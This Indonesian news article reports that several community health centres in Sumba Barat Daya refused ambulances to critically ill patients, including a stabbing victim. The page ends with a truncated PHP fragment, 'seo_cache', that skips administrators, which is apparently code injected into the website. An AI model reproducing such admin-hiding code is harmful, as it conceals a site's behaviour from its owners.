Kesehatan

Teguh dengan Aturan Rujukan, Sejumlah Puskesmas di SBD Tolak Angkut Pasien Kritis Pakai Ambulans

×

Teguh dengan Aturan Rujukan, Sejumlah Puskesmas di SBD Tolak Angkut Pasien Kritis Pakai Ambulans

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Sejumlah Pusat Kesehatan Masyarakat (Puskesmas) di Kabupaten Sumba Barat Daya, Provinsi NTT jadi sorotan dan viral di media sosial.

Pasalnya, mobil ambulans tidak diperbolehkan mengangkut pasien kritis dari Puskesmas menuju rumah sakit lantaran teguh pada aturan.

Regina Dita Kodi, pasien kritis korban penikaman suaminya sendiri terpaksa diangkut dengan mobil patroli Polsek Kodi Bangedo lantaran Puskesmas Walla Ndimu tolak gunakan ambulans. ( Istimewa )

Seperti dialami Regina Dita Kodi, warga Kecamatan Kodi Bangedo yang jadi korban penikaman suaminya sendiri.

Yosef Tende Boro salah satu kerabat korban menuturkan, Regina ditikam oleh suaminya pada Selasa (23/12/2025) pukul 08.00 WITA.

“Korban dibawa ke Puskesmas Walla Ndimu yang dekat dengan Mapolsek Kodi Bangedo, sekalian melaporkan kejadian itu,” ujarnya.

Mengingat kondisi korban yang kritis, pihak keluarga meminta bantuan pihak Puskesmas Walla Ndimu agar Regina diangkut dengan mobil ambulans ke RS Karitas Waitabula.

Namun permintaan itu ditolak petugas Puskesmas dengan sejumlah alasan.

“Mereka sebut bahwa domisili pasien bukan dalam wilayah pelayanan Puskesmas Walla Ndimu,” tutur Yosef.

Petugas juga beralasan bahwa dokter Puskesmas Walla Ndimu sedang tidak berada di tempat.

Apabila mau dirujuk ke rumah sakit di Waitabula maka korban harus dibawa dulu ke Puskesmas Delu Depa untuk mendapatkan surat rujukan.

Bahkan, lanjut mantan Kepala Desa Umbu Ngedo ini, alasan yang sama disampaikan kepada anggota Polsek Kodi Bangedo saat meminta agar korban diangkut dengan ambulans.

“Bahkan petugas Puskesmas sempat adu mulut dengan anggota polisi,” ungkapnya lagi.

Khawatir dengan kondisi Regina yang kritis, anggota Polsek Kodi Bangedo mengambil sikap dan mengantarnya dengan mobil patroli.

Pasien Kritis di Puskesmas Palla Tidak Tertolong

Sebelumnya kejadian yang sama baru saja dialami warga Kecamatan Wewewa Utara.Pihak Puskesmas Palla menolak permintaan keluarga salah satu pasien kritis untuk gunakan mobil ambulans.

Dalam suasana malam, pasien kritis yang sudah dalam keadaan koma ini pun terpaksa diangkut dengan kendaraan sewa.

Menurut Edi suami korban, bahkan malam itu dokter Puskesmas Palla sendiri tidak menunjukkan rasa kemanusiaan.

“Dokter bilang siap cabut infus dan kami upayakan sendiri kendaraan untuk bawa istri saya ke rumah sakit,” kisah Edi pekan lalu.

Namun sayang, tidak berselang lama setelah dirawat di RSUD Waikabubak, Sumba Barat nyawa istrinya tidak bisa diselamatkan.

Usai kejadian itu, banyak pesan masuk ke redaksi media ini mengeluh hal yang sama.

Berdasarkan Pasal 190 Undang-Undang Kesehatan di Indonesia, fasilitas kesehatan yang sengaja menolak memberikan penanganan darurat dapat menghadapi sanksi pidana, termasuk hukuman penjara dan denda yang signifikan.

Hingga berita ini tayang, pihak Dinas Kesehatan Kabupaten Sumba Barat Daya belum bisa dikonfirmasi. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>